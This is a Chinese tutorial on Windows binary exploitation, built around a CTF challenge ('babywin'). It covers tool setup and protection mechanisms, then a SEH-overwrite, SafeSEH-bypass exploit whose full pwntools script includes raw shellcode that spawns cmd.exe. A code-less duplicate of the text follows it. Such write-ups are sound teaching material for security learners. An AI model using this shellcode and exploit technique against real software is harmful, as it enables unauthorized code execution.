windows pwn 学习
字数 1584 2025-08-23 18:31:24

Windows PWN 学习教程

环境搭建

1. 安装 winpwn

在 Windows 上搭建 Python 环境后,使用以下命令安装必要的库:

pip3 install winpwn
pip3 install pefile
pip3 install keystone-engine
pip3 install install capstone

安装完成后,在脚本中使用 from winpwn import* 来引用该库。

2. 安装 pwntools 替代方案

由于 pwntools 的 process 模块无法直接运行 exe 文件,可以使用 win_server 工具:

  1. 下载并解压 win_server.zip
  2. 运行命令:win_server.exe + 目标程序 + 指定端口号
  3. 在脚本中使用 remote("127.0.0.1", port) 连接

这样就可以使用 pwntools 编写攻击脚本和调试。

3. 安装 checksec

从 GitHub 下载 checksec.exe:
Releases · Wenzel/checksec.py

使用命令检查保护:

.\checksec.exe exe文件

4. 安装 windbg

在 Microsoft Store 中搜索并安装 windbg。

Windows 保护机制详解

  1. Dynamic Base:编译选项,指示程序是否启用 ASLR
  2. High Entropy VA:增加 ASLR 的程度,使内存区域更难猜测
  3. SEH (Structured Exception Handling):结构化异常处理机制
  4. SafeSEH:防止恶意软件利用异常处理机制进行攻击
  5. Force Integrity:强制签名保护
  6. Control Flow Guard (CFG):验证程序控制流,防止代码注入和重定向攻击
  7. Isolation:隔离保护
  8. Authenticode:签名保护

实战分析:西湖论剑 pwn babywin

1. 检查保护

使用 checksec 检查发现:

  • 没有 NX 和 ASLR
  • 开启了 Canary (GS)

2. 代码分析

关键函数:

int sub_401060() {
    FILE *v0; // eax
    char v2; // [esp+0h] [ebp-8h]
    char *Buffer; // [esp+4h] [ebp-4h]
    
    v2 = gift();
    Buffer = (char *)malloc(0x1000u);
    sub_401180("your gift: %p\n", v2);
    sub_401180("give your data:", v2);
    v0 = _acrt_iob_func(0);
    fgets(Buffer, 200, v0);
    return sub_4010E0(Buffer);
}

char *__cdecl sub_4010E0(char *Source) {
    char Destination[32]; // [esp+0h] [ebp-24h] BYREF
    
    strcpy(Destination, Source);
    return strcat(Destination, Source);
}

3. 漏洞分析

  1. 明显的栈溢出漏洞
  2. 没有开启 NX,理论上可以直接 ret2shellcode
  3. 问题:开启了 Canary,需要绕过
    • 绕过 Canary 需要输入 \x00 字节
    • strcpystrcat 会截断 \x00,无法正常输入

4. 利用方法

  1. 利用 SEH 机制

    • 覆盖 __except_handler4 指向的地址
    • 当程序崩溃时,会跳转到该地址
  2. 绕过 SafeSEH

    • 跳转到没有开启 SafeSEH 的代码地址
    • 题目提供的 gift.dll 符合要求
  3. 栈布局利用

    • 发现可覆盖的栈地址 0019FF64(位于 __except_handler4 上方)
    • 利用 gadget 跳转到该位置
  4. Shellcode 构造

    • gift.dll 没有 \x00 字节,可在其后布置 shellcode
    • 使用四字节 shellcode 跳转:jmp $+8
  5. 多次输入

    • 由于 shellcode 较大(>200 字节),需要多次输入
    • 使用 reread 思想,构造多个 fgets 输入

5. 攻击脚本

from pwn import *

pop2 = 0x271f16ac  #: pop ecx ; pop ebp ; ret
context.arch = 'i386'

p = remote("127.0.0.1", 1234)

shell = b'U\x8b\xec\x83\xec SVW\xc7 E\xe8 u\x00 c\x00\xc7 E\xec r\x00 t\x00 f\xc7 E\xfc cm\xc6 E\xfe d\xc7 E\xe0 systf\xc7 E\xe4 em\xc6 E\xe6\x00 d\xa1 0\x00\x00\x00\x83\xc0\x0c\x8b\x00\x89 E\xf8\x8b }\xf8\x83\xc7\x14\x8b\x17;\xd7 t8\x8d d$ \x00\x8b r(\x8d M\xe8 3\xc0+\xf1\x8d\x9b\x00\x00\x00\x00\x8d\x0c Ff\x8b L\r\xe8 f;LE\xe8 u\x06 @\x83\xf8\x04|\xeb\x83\xf8\x04\x0f\x84\x82\x00\x00\x00\x8b\x12;\xd7 u\xcc\x8b }\xf8\x8b G<3\xf6\x8b\\ 8x\x8b D;\x1c\x03\xdf\x03\xc7\x89 E\xf0\x8b K\x8b C$\x03\xcf\x03\xc7\x89 M\xec\x89 E\xf4 9s\x18 vI\x8b\x14\xb1\x8d E\xe0\x03\xd7 3\xc9+\xd0\x8d d$ \x00\x8d\x04\x11\x8a D\x05\xe0:D\r\xe0 u\x06 A\x83\xf9\x06|\xed\x83\xf9\x06 u\x18\x8b M\xf0\x8d E\xfc P\x8b E\xf4\x0f\xb7\x04 p\x8b\x04\x81\x03\xc7\xff\xd0\x83\xc4\x04\x8b M\xec F;s\x18 r\xb7 _^[\x8b\xe5]\xc3\x8b z\x10\xeb\x82'

assert(b'\n' not in shell)

shellcode = '''
mov ecx,0x01010101
mov eax,0x14121bd /*__acrt_iob_func*/
xor eax,ecx
mov ebx,[eax]
xor ecx,ecx
push ecx
call ebx
pop ecx
push eax
mov ecx,0x01010101 /*fgets*/
push ecx
xor eax,eax
push eax
emmm:
pop eax
test eax,eax
jnz read
call near ptr emmm
read:
sub ax,0x3010
push eax
mov eax,0x14121c1
xor eax,ecx
mov ebx,[eax]
call ebx
pop ebx
jmp ebx
'''

shellcode = b'\xb9\x01\x01\x01\x01\xb8\xbd !A\x011\xc8\x8b\x181\xc9Q\xff\xd3YP\xb9\x01\x01\x01\x01Q1\xc0PX\x85\xc0u\x05\xe8\xf6\xff\xff\xfff-\x100P\xb8\xc1 !A\x011\xc8\x8b\x18\xff\xd3[\xff\xe3'

assert(b'\n' not in shellcode and b'\x00' not in shellcode)
assert(len(shellcode) < 120)

payload = shellcode.ljust(120, b'\xAA') + b'\xeb\x86\xAA\xAA' + p32(pop2) + b'cmd.exe'
p.sendlineafter(b'data:', payload)
p.sendline(b'\xcc' + shell)
p.interactive()

6. 注意事项

  1. shellcode 在 Windows 下可能无法编译,可在 Linux 虚拟机中编译后使用
  2. shellcode 中不能包含 \x00 字节
  3. 确保 shellcode 长度不超过限制

总结

通过这个案例,我们学习了:

  1. Windows 下的 PWN 环境搭建
  2. Windows 特有的保护机制及其绕过方法
  3. 利用 SEH 机制进行漏洞利用
  4. 绕过 SafeSEH 的技巧
  5. 构造无 \x00 字节的 shellcode
  6. 多次输入 payload 的技术

这些技术在 Windows 二进制安全研究中非常重要,掌握它们可以帮助我们更好地分析和利用 Windows 平台下的漏洞。

Windows PWN 学习教程 环境搭建 1. 安装 winpwn 在 Windows 上搭建 Python 环境后,使用以下命令安装必要的库: 安装完成后,在脚本中使用 from winpwn import* 来引用该库。 2. 安装 pwntools 替代方案 由于 pwntools 的 process 模块无法直接运行 exe 文件,可以使用 win_server 工具: 下载并解压 win_ server.zip 运行命令: win_server.exe + 目标程序 + 指定端口号 在脚本中使用 remote("127.0.0.1", port) 连接 这样就可以使用 pwntools 编写攻击脚本和调试。 3. 安装 checksec 从 GitHub 下载 checksec.exe: Releases · Wenzel/checksec.py 使用命令检查保护: 4. 安装 windbg 在 Microsoft Store 中搜索并安装 windbg。 Windows 保护机制详解 Dynamic Base :编译选项,指示程序是否启用 ASLR High Entropy VA :增加 ASLR 的程度,使内存区域更难猜测 SEH (Structured Exception Handling) :结构化异常处理机制 SafeSEH :防止恶意软件利用异常处理机制进行攻击 Force Integrity :强制签名保护 Control Flow Guard (CFG) :验证程序控制流,防止代码注入和重定向攻击 Isolation :隔离保护 Authenticode :签名保护 实战分析:西湖论剑 pwn babywin 1. 检查保护 使用 checksec 检查发现: 没有 NX 和 ASLR 开启了 Canary (GS) 2. 代码分析 关键函数: 3. 漏洞分析 明显的栈溢出漏洞 没有开启 NX,理论上可以直接 ret2shellcode 问题:开启了 Canary,需要绕过 绕过 Canary 需要输入 \x00 字节 但 strcpy 和 strcat 会截断 \x00 ,无法正常输入 4. 利用方法 利用 SEH 机制 : 覆盖 __except_handler4 指向的地址 当程序崩溃时,会跳转到该地址 绕过 SafeSEH : 跳转到没有开启 SafeSEH 的代码地址 题目提供的 gift.dll 符合要求 栈布局利用 : 发现可覆盖的栈地址 0019FF64 (位于 __except_handler4 上方) 利用 gadget 跳转到该位置 Shellcode 构造 : gift.dll 没有 \x00 字节,可在其后布置 shellcode 使用四字节 shellcode 跳转: jmp $+8 多次输入 : 由于 shellcode 较大(>200 字节),需要多次输入 使用 reread 思想,构造多个 fgets 输入 5. 攻击脚本 6. 注意事项 shellcode 在 Windows 下可能无法编译,可在 Linux 虚拟机中编译后使用 shellcode 中不能包含 \x00 字节 确保 shellcode 长度不超过限制 总结 通过这个案例,我们学习了: Windows 下的 PWN 环境搭建 Windows 特有的保护机制及其绕过方法 利用 SEH 机制进行漏洞利用 绕过 SafeSEH 的技巧 构造无 \x00 字节的 shellcode 多次输入 payload 的技术 这些技术在 Windows 二进制安全研究中非常重要,掌握它们可以帮助我们更好地分析和利用 Windows 平台下的漏洞。